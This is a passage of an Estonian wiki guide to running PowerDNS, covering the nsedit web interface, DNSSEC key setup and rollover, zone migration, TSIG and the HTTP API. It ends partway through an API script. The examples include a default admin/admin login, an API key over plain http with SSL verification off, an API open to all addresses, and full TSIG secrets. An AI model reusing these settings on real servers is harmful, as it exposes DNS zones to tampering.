* loodetavasti haldusliidese abil jäävad tegemata mingid süntaksivead, mida on kerge teha nn BIND-ühilduvat tsoonifaili tavalise tekstieditoriga otse muutes&lt;br /&gt;
* tsooni sisu halduse saab usaldada mitte-vi/joe/nano ekspertiisiga inimesele&lt;br /&gt;
&lt;br /&gt;
Paistab, et veebipõhiseid haldusliideseid on omajagu, https://github.com/PowerDNS/pdns/wiki/WebFrontends. nsedit on PHP rakendus. Märkused&lt;br /&gt;
&lt;br /&gt;
* Tsoonis tehtud muudatustega kaasneb automaatselt SOA seriali suurenemine&lt;br /&gt;
* Veebiliideses tehtud muudatused ei kajastu alati sama veebiliideses koheselt (nt SOA seriali muutumine, välja ja sisselogimise järel on näha)&lt;br /&gt;
* nsedit esitab muudatuste logi&lt;br /&gt;
* toimib ipv6 jaoks&lt;br /&gt;
* nn õäöü tähti sisaldavaid nimesid sisestada otseselt ei saa&lt;br /&gt;
* rakenduse võib paigaldada http:// peale ja seejärel muuta veebiserveri seadistusi ning kasutada edasi https:// abil&lt;br /&gt;
* nsedit ei pea asuma samas arvutis PowerDNS serveriga, suhtlemine toimub üle võrgu ja kasutades API liidest&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
nsedit kasutamise eelduseks on selline tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get install apache2 php git php-sqlite3 php-curl&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara, tundub, et 2017 aasta alguses on praktiline võtta git repo viimane ots&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # git clone https://github.com/tuxis-ie/nsedit.git&lt;br /&gt;
&lt;br /&gt;
Tekitada php skriptide jaoks kasutaja:grupp&lt;br /&gt;
&lt;br /&gt;
 # groupadd nsedit&lt;br /&gt;
 # useradd -g nsedit -m -d /opt/nsedit -s /bin/false nsedit&lt;br /&gt;
&lt;br /&gt;
Avades brauseris http://pdns.moraal.ee/nsedit küsitakse parooli, vaikimisi sobib admin ja admin mille järel&lt;br /&gt;
&lt;br /&gt;
* kontrollitakse vajalike teekide olemasolu&lt;br /&gt;
* moodustatakse sqlite3 andmebaas&lt;br /&gt;
&lt;br /&gt;
 # sqlite3 /var/www/html/etc/pdns.users.sqlite3&lt;br /&gt;
 ..&lt;br /&gt;
 sqlite&amp;gt; .tables&lt;br /&gt;
 logs   users  zones&lt;br /&gt;
&lt;br /&gt;
nsedit seadistatakse failis /var/www/html/nsedit/includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
 # cp includes/config.inc.php-dist includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
* ühendust powerdns serveriga üle api juhib sektsioon&lt;br /&gt;
&lt;br /&gt;
 # cat /var/www/html/nsedit/includes/config.inc.php | grep '^$api'&lt;br /&gt;
 $apipass = 'apiparool';           # The PowerDNS API-key&lt;br /&gt;
 $apiip   = '10.0.9.18';           # The IP of the PowerDNS API&lt;br /&gt;
 $apiport = '8081';       # The port of the PowerDNS API&lt;br /&gt;
 $apiproto      = 'http'; # http | https&lt;br /&gt;
 $apisslverify  = FALSE;  # Verify SSL Certificate if using https for apiproto&lt;br /&gt;
&lt;br /&gt;
* vaikeväärtuste kasutamiset haldusliideses kontrollib&lt;br /&gt;
&lt;br /&gt;
 $defaults['soa_edit']    = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['soa_edit_api'] = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['defaulttype'] = 'Master';                    # Choose between 'Native' or 'Master'&lt;br /&gt;
 $defaults['ns'][0] = 'ns1.moraal.ee.';         # The value of the first NS-record&lt;br /&gt;
 $defaults['ns'][1] = 'ns2.moraal.ee.';       # The value of the second NS-record&lt;br /&gt;
 $defaults['ttl']   = 3600;                              # Default TTL for records&lt;br /&gt;
 $defaults['disabled'] = false;                          # Default disabled state&lt;br /&gt;
&lt;br /&gt;
Kasutajaliides paistab välja selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Kui rakendus töötab, muuta rakenduse failide omanik:grupp ära&lt;br /&gt;
&lt;br /&gt;
 # chown -R nsedit:nsedit /var/www/html/nsedit&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
* Kasutajate lisamine, valida (ning märkida linnuke admin user jaoks), tulemusena on nsedit logid paremad&lt;br /&gt;
&lt;br /&gt;
 Users -&amp;gt; Add new user &lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine, valida&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Add new zone&lt;br /&gt;
&lt;br /&gt;
ning sisestada Domain lahtrisse domeeninimi, lõpetades punktiga, nt&lt;br /&gt;
&lt;br /&gt;
 test-1.ee.&lt;br /&gt;
&lt;br /&gt;
Kõik muud valikud jätta vaikimisi&lt;br /&gt;
&lt;br /&gt;
 Account - admin&lt;br /&gt;
 Type - master&lt;br /&gt;
 Template - None&lt;br /&gt;
&lt;br /&gt;
Kuna pdns serveri seadistusfailisis on näidatus SOA kirje väärtused ja nsedit seadisusfailis on kirjeldatud nimeserverid, siis tekib vaikimisi kastutatav tulemus.&lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine kirjeldades korraga palju kirjeid (nt tsooni ületoomisel eelmise dns teenusepakkuja juurest)&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Import a new zone&lt;br /&gt;
&lt;br /&gt;
seejuures&lt;br /&gt;
&lt;br /&gt;
 avanenud dialoogi pasteda tsoonifaili sisu&lt;br /&gt;
 eemaldada SOA kirje&lt;br /&gt;
 asendada NS kirjetesse õiged väärtused&lt;br /&gt;
 kõik nimed (kirje kõige vasem positsioon) peavad olema pikad ja lõppema punktiga&lt;br /&gt;
 eemaldada linnuke 'Overwrite Nameservers' juurest&lt;br /&gt;
&lt;br /&gt;
* Mitme elemendilise väärtuse puhul tuleb see nii sisestada, nt MX kirje puhul&lt;br /&gt;
&lt;br /&gt;
 10 mx.moraal.ee.&lt;br /&gt;
&lt;br /&gt;
* Eeldusel, et on olemas Content tulbas kasutatav A kirje ip aadressile vastav in-addr.arpa tsoon, saab nsedit abil tekitada automaatselt PTR kirje.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni esmane juurutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal saab DNSSEC juures kasatada CSK (Combined Signing Key) võtit ja seda kasutab PowerDNS vaikimisi, kuid samas CSK võtmeid registripidajad eriti ei toeta. Ja PowerDNS toetab ka nö klassikalist KSK+ZSK komplekti kasutamist.&lt;br /&gt;
&lt;br /&gt;
====KSK ja ZSK võtmete kasutamine====&lt;br /&gt;
&lt;br /&gt;
Võtmete tsooniga seostamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee zsk 1024 active rsasha256&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 5 0...f'&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
mis&lt;br /&gt;
&lt;br /&gt;
* tekitab võtmed&lt;br /&gt;
* kui set-meta kogemata vääratab, nt lisati SOA-EDIT-SOA, siis saab meta data eemaldada, st näitamata väärtust&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-SOA&lt;br /&gt;
&lt;br /&gt;
* võtab kasutusele nsec3 hash'ide arvutamiseks vajaliku materjali (0-f on 16-elemendiline juhuslik hex järgnevus, mis saadake nt nii&lt;br /&gt;
&lt;br /&gt;
 $ head -c 512 /dev/urandom | sha1sum | cut -b 1-16&lt;br /&gt;
 7bc59a6dd87fa477&lt;br /&gt;
&lt;br /&gt;
ja ideaalis võiks seda regulaarselt muuta), nt&lt;br /&gt;
&lt;br /&gt;
 $ dig +short moraal.ee nsec3param&lt;br /&gt;
 1 0 5 E7544BB6070C3E0F&lt;br /&gt;
&lt;br /&gt;
(kus 1 - sha1, 0 - opt-out, 5 - iterations, E7544BB6070C3E0F - salt)&lt;br /&gt;
&lt;br /&gt;
* INCEPTION-INCREMENT rida seadistab selliselt, et kui automaaselt tsooni andmed resigneeritakse, siis suurendatakse ka seriali (muidu ei toimu notify ja andmed ei jõua avalikesse pädevatesse nimeserveritesse)&lt;br /&gt;
* rectify tuleb põhimõtteliselt öelda peale iga tsooni muudatust, et olla täiesti kindel tsooni toimimises; kui PowerDNS kasutatakse avalike nimeserverite varjatud masterina, pole see probleem&lt;br /&gt;
&lt;br /&gt;
ning tsooni andmed paistavad&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
 Nov 06 23:49:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 This is a Master zone&lt;br /&gt;
 Last SOA serial number we notified: 2016103003 == 2016103003 (serial in the database)&lt;br /&gt;
 Metadata items: &lt;br /&gt;
        SOA-EDIT        INCEPTION-INCREMENT&lt;br /&gt;
        SOA-EDIT-API    INCEPTION-INCREMENT&lt;br /&gt;
 Zone has NSEC3 semantics, configuration: 1 0 1 ab&lt;br /&gt;
 keys: &lt;br /&gt;
 ID = 11 (ZSK), flags = 256, tag = 26589, algo = 8, bits = 1024    Active ( RSASHA256 ) &lt;br /&gt;
 ID = 10 (KSK), flags = 257, tag = 53461, algo = 8, bits = 2048    Active ( RSASHA256 ) &lt;br /&gt;
 KSK DNSKEY = moraal.ee. IN DNSKEY 257 3 8  AwEAAcn... TQcnQstT+tU= ; ( RSASHA256 )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 1 6c123b39076072da... c66f62b1e3c388b86b7f ; ( SHA1 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 2 b85dee98efa6e3bb... 57ce193f728f6b2b1d0dd262 ; ( SHA256 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 3 1359b0b2b97e60b2... 844b207e84bf5c109eb2e151 ; ( GOST R 34.11-94 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 4 6d735926cd5cf68b... 9ca2af1f72b3b8f67900bb32a94c ; ( SHA-384 digest )&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kaks võtit, ID väärtustega 10 ja 11&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje (reeglina see õnnestub, aga nt 2017 aasta kevadel .org domeenide puhul on tulemuseks dnssec viga, tavaline servfail)&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
====Tulemuse kontrollimine====&lt;br /&gt;
&lt;br /&gt;
Kui kõik juba töötab (ja on vist on vajalik, et kasutada on mõni dnssec-võimeline rekursiivne nimeserver), saab tulemust kontrollida nt nii&lt;br /&gt;
&lt;br /&gt;
 $ ldns-rrsig moraal.ee a&lt;br /&gt;
 moraal.ee RRSIG(a):  Thu Oct 27 00:00:00 2016 - Thu Nov 17 00:00:00 2016&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* DNSSEC RRSIG signatuure arvutatakse iga 2 nädala tagant üle selleks, et piirata replay attack võimalusi. Põhimõtteliselt saab pahalane päringule vastuseks saata mõne varasemalt võrgus olnud vastuse (st RRSet + RRSIG komplekti) eeldusel, et ta kontrollib kasutaja võrguliiklust. Tänu RRSIG piiratud kehtivusajale (nt 2 nädalat) saab ta seda teha mitte vanemate kui 2 nädalat andmetega, lisaks ta on piiratud saatma mitte suvalisi vastuseid, vaid viimase kahe nädala jooksul kasutuses olnud vastuseid.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
&lt;br /&gt;
====CSK võtme kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus 2016 lõpus: tundub, et see CSK on mingi tulevikutehnoloogia.&lt;br /&gt;
&lt;br /&gt;
Olemasoleva tsooni jaoks DNSSEC sisselülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil secure-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 1 ab'&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* tagasi nsec peale viimiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil unset-nsec3 moraal.ee&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni seostamine DS sissekande abil ülevalpool oleva tsooniga===&lt;br /&gt;
&lt;br /&gt;
DNSSEC tsooni seostamiseks ülevalpool oleva tsooniga on vaja teada selliseid andmeid&lt;br /&gt;
&lt;br /&gt;
* võtme silt&lt;br /&gt;
* võtme tüüp&lt;br /&gt;
* algoritm&lt;br /&gt;
* avalik võti (või DS mis on avaliku võtme räsi vms)&lt;br /&gt;
&lt;br /&gt;
Need kõik on avalik info ja kättesaadavad domeeni pädevast nimeserverist, aga PowerDNS haldusutiliidiga saab selle küsida otsekoheselt&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Ühesõnaga, kui ise kasutatakse PowerDNS'i või partner saadab need andmed, siis allpool toodud dig käsuga tegelemist pole tarvis läbi teha. Tulemust sobib kontrollida nt aadressil http://dnsviz.net/.&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .ee tsoonis====&lt;br /&gt;
&lt;br /&gt;
Logida sisse oma kasutajaga ja valida vasakult paneelist 'Teenuste ülevaade', kõnelaluse tsooni juures pressida rohelist + märki DNSSEC tulbas. Avanenud uuel eraanil vajutada üleval sinist nuppu Aktiveeri (muutub roheliseks), vajutada võtmete nimekirjas + märki ja täita lahtrid&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-3.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* võtme silt - (antud juhul 53461), selle saab teada päringu väjundist&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey rrsig | grep DNSKEY&lt;br /&gt;
 moraal.ee.              10800   IN      RRSIG   DNSKEY 8 2 10800 20161208000000 20161117000000 53461 moraal.ee. rVy+HAzSKkTRv6...&lt;br /&gt;
&lt;br /&gt;
* võtme tüüp - KSK&lt;br /&gt;
* algoritm - 8 (RSA-SHA256)&lt;br /&gt;
* avalik võti,  selle saab teada päringu väljundist, alates Aw kuni tU= (võib sisaldada tühikuid nagu päringu vastuses on)&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey | grep 257&lt;br /&gt;
 moraal.ee. 3600 IN DNSKEY 257 3 8 AwEAAcnmmnnOlkRfK9NDYEI6F ... SD6 TQcnQstT+tU=&lt;br /&gt;
&lt;br /&gt;
Vajutada all nuppu Kinnita, muudatus kehtestub peaaegu koheselt (ehk minutite jooksul), aga kasutajaliideses öeldakse&lt;br /&gt;
&lt;br /&gt;
 DNSSEC kaitse domeenil MORAAL.EE&lt;br /&gt;
 Hetkestaatus: DNSSEC on aktiveerimata&lt;br /&gt;
 Eesootavad muutused: DNSSEC aktiveeritakse&lt;br /&gt;
&lt;br /&gt;
Teha brauseris refresh ja peab olema domeenide nimekirjas DNSSEC tulbas + asemel kilbi kujutis. Edasi läheb nn 15 minutit kuni muudatus zone.ee juurest eestiinternet.ee juurde jõuab ning kehtestub ee. tld (top level domain) nimeserverites. Kontrolliks maksab küsida tld nimeserverilt ds kirjet&lt;br /&gt;
&lt;br /&gt;
 $ dig +short @ns.tld.ee moraal.ee ds&lt;br /&gt;
 30607 8 2 EAC8A17DD2128573F08EE76C18B4AB01734467CD4A376768F5358B0C A2B9463F&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .org tsoonis====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-6.gif]]&lt;br /&gt;
&lt;br /&gt;
====GoDaddy keskkonnas====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===DNSSEC võtmete asendamine===&lt;br /&gt;
&lt;br /&gt;
====ZSK====&lt;br /&gt;
&lt;br /&gt;
====KSK====&lt;br /&gt;
&lt;br /&gt;
KSK moodi võtme lisamiseks sobib öelda, selliselt võib tsooniga siduda ka enam kui kaks võtit&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtmed paistavad käsu väljundis&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab dnsviz keskkonnas selline pilt&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtme eemaldamiseks sobib öelda, kus ID on show-zone väljundist välja valitud võtme ID väärtus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil remove-zone-key moraal.ee ID&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/howtos/#zsk-rollover&lt;br /&gt;
&lt;br /&gt;
===Mitmesugused haldusprotseduurid===&lt;br /&gt;
&lt;br /&gt;
====tsooni backend muutmine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Tsooni migreerimiseks suvalisest AXFR-võimelisest nimeserverist sobib&lt;br /&gt;
&lt;br /&gt;
* kirjeldada PowerDNS peal slave&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-slave-zone moraal.ee 10.0.6.15&lt;br /&gt;
 Feb 21 22:09:52 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Creating slave zone 'moraal.ee', with master(s) '10.0.6.15:53'&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmed axfr abil üle, kopeerimist kiirendab&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
&lt;br /&gt;
* muuta PowerDNS tsooni jaoks masteriks, öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; UPDATE domains set type='MASTER' where type='SLAVE';&lt;br /&gt;
&lt;br /&gt;
Kui allikaks on nt BIND ning tsoonifailis on kasutatud generate konstruktsiooni, siis need lahenduvad automaatselt ära&lt;br /&gt;
&lt;br /&gt;
 $GENERATE 1-255 $ IN CNAME $.1-255.40.184.10.in-addr.arpa.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/migration/&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Analoogiliselt eelmisele punktile, aga&lt;br /&gt;
&lt;br /&gt;
* esmalt lülitada dnssec välja, kustutades DS kirje parent tsoonist ja oodates vähemalt DS kirje TTL aja enne järgmise punkti juurde asumist; seejärel on tsooni sisu endine st vanade võtmetega signeeritud andmestik&lt;br /&gt;
* tegevused eelmises punktis + uute võtmetega krüptimine&lt;br /&gt;
* asuda kasutama uute võtmetega krüptitud tsooni sisu, ja oodata nt 6 tundi&lt;br /&gt;
* juurutada parent tsoonis uus DS kirje&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla OpenDNSSEC keskkonnast koos vana KSK krüptomaterjaliga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et OpenDNSSEC kasutab SoftHSM backendi saab KSK krüptomaterjalid eksportida ja taaskasutada. Ettevalmistuseks tuleb kõnealune tsoon muus osas tavalisel viisil kasutusele võtta. SoftHSM pealt krüptomaterjali eksportimiseks tuleb esmalt teha kindlaks kolm väärust&lt;br /&gt;
&lt;br /&gt;
* SoftHSM label ja pin vaadata nt /etc/opendnssec/conf.xml failist&lt;br /&gt;
* kõnealuse tsooni ksk võtme id, vaadata KSK active realt tulp 'CKA_ID'&lt;br /&gt;
&lt;br /&gt;
 # ods-ksmutil key list -v&lt;br /&gt;
&lt;br /&gt;
sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # softhsm --export moraal.ee-ksk.pem --slot 0 --label &amp;quot;vaartus&amp;quot; --pin vaartus --id vaartus&lt;br /&gt;
 The key pair has been written to moraal.ee-ksk.pem&lt;br /&gt;
&lt;br /&gt;
teisendada nn BIND kujule&lt;br /&gt;
&lt;br /&gt;
 # softhsm-keyconv --tobind --in ksk.pem --name moraal.ee --ksk --algorithm RSASHA256&lt;br /&gt;
 The private key has been written to Kmoraal.ee+008+09122.private&lt;br /&gt;
 The public key has been written to Kmoraal.ee+008+09122.key&lt;br /&gt;
&lt;br /&gt;
ning võtta kasutusele PowerDNS juures&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil import-zone-key moraal.ee Kksk+008+53675.private active ksk&lt;br /&gt;
&lt;br /&gt;
Edasi seadistatakse DNSSEC analoogliselt nagu seada ikka PowerDNS puhul seadistatakse. Kusjuures 'pdnsutil import-zone-key ...' tulemus on sarnane nagu oleks öeldud&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.molnar-peter.hu/en/&lt;br /&gt;
&lt;br /&gt;
====pdns-control utiliidi kasutamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS kus on master tsoon saadab notify oma slavedele (nagu on tsoonifaili NS kirjetes kirjas)&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify &amp;lt;domain&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või näidatud ip aadressile&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify-host &amp;lt;domain&amp;gt; &amp;lt;ip-address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===TSIG kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimeserverite vahelise tsooniedastuse juures TSIG juurutamiseks tuleb esmalt tekitada võti&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil generate-tsig-key from_dns_to_itm hmac-sha256&lt;br /&gt;
 Generating new key with 64 bytes (this can take a while)&lt;br /&gt;
 Nov 26 13:10:37 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Create new TSIG key from_dns_to_itm hmac-sha256 WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
ning seejärel võti ühe või enama tsooniedastusega seostada&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil activate-tsig-key moraal.ee from_dns_to_itm master&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
Nov 26 14:09:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
This is a Master zone&lt;br /&gt;
Last SOA serial number we notified: 2016112602 == 2016112602 (serial in the database)&lt;br /&gt;
Zone is not actively secured&lt;br /&gt;
Zone has following allowed TSIG key(s): from_dns_to_itm&lt;br /&gt;
Metadata items: &lt;br /&gt;
        SOA-EDIT-API    DEFAULT&lt;br /&gt;
        TSIG-ALLOW-AXFR from_dns_to_itm&lt;br /&gt;
No keys for zone 'moraal.ee'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kontrolliks sobib kopeerida öeldes&lt;br /&gt;
&lt;br /&gt;
 $ dig @192.168.1.248 moraal.ee axfr -y &amp;quot;hmac-sha256:from_dns_to_itm:WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures vastuses on üks preudokirje lisaks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 from_dns_to_itm.        0       ANY     TSIG    hmac-sha256. 1480164029 300 32 t96WhnpNiAiL5KHXa8UzNthM6/p3ciQptF3Br2ZfhFk= 3538 NOERROR 0&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Sama TSIG võtit saab kasutada mitme tsooni jaoks ja nii on mugavam nt NSD patternit kasutada&lt;br /&gt;
* tundub, et tsooni jaoks TSIG juurutamisega kaasneb, et tsooni kopeerimise ip piirang enam ei kehti (lubatud ip pealt pöördudes ei ole võtme esitamine vajalik)&lt;br /&gt;
* kui tsooni juures on tsig sisse lülitatud, siis see mõjub nii notify kui xfr jaoks&lt;br /&gt;
* TSIG pseudokirjete arv suureneb vastavalt tsooni mahu suurenemisele, https://tools.ietf.org/html/rfc2845 'The TSIG MUST be included on the first and last DNS envelopes.  It can be optionally placed on any intermediary envelopes. It is expensive to include it on every envelopes, but it MUST be placed on at least every 100'th envelope.'&lt;br /&gt;
&lt;br /&gt;
Alternatiiv on kasutada -y asemel -k suvandit ja argumendiks failinime, faili sisuga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
key &amp;quot;from_yks_to_teine&amp;quot; {&lt;br /&gt;
algorithm HMAC-SHA256;&lt;br /&gt;
secret &amp;quot;YY8xvlL6yGjrt1G4xlfLBaidQOFdvixHgRXN6tXUPMitEKZUs7kl7qixJ0nSN1bbDJQxaFGkoKkBamNS7EPXbw==&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===API kasutamine===&lt;br /&gt;
&lt;br /&gt;
Üle API muudatuse tegemiseks peab eelnevalt PowerDNS serveris lülitama API sisse ning sisemise webserver käivitama&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.conf&lt;br /&gt;
 ..&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=apiparool&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ja kasutama nt sellist skripti (töökohaarvutis on seejuures abil kasutada nt jq utiliiti)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat pdns-api.sh&lt;br /&gt;
curl -X PATCH --data \&lt;br /&gt;
'{&amp;quot;rrsets&amp;quot;: &lt;br /&gt;
  [{ &amp;quot;name&amp;quot;: &amp;quot;www.moraal.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [{ &amp;quot;content&amp;quot;: &amp;quot;192.168.254.5&amp;quot;, &amp;quot;disabled&amp;quot;: false }],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 86000,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;A&amp;quot;,&lt;br /&gt;
      &amp;quot;changetype&amp;quot;: &amp;quot;REPLACE&amp;quot;&lt;br /&gt;
  }]&lt;br /&gt;
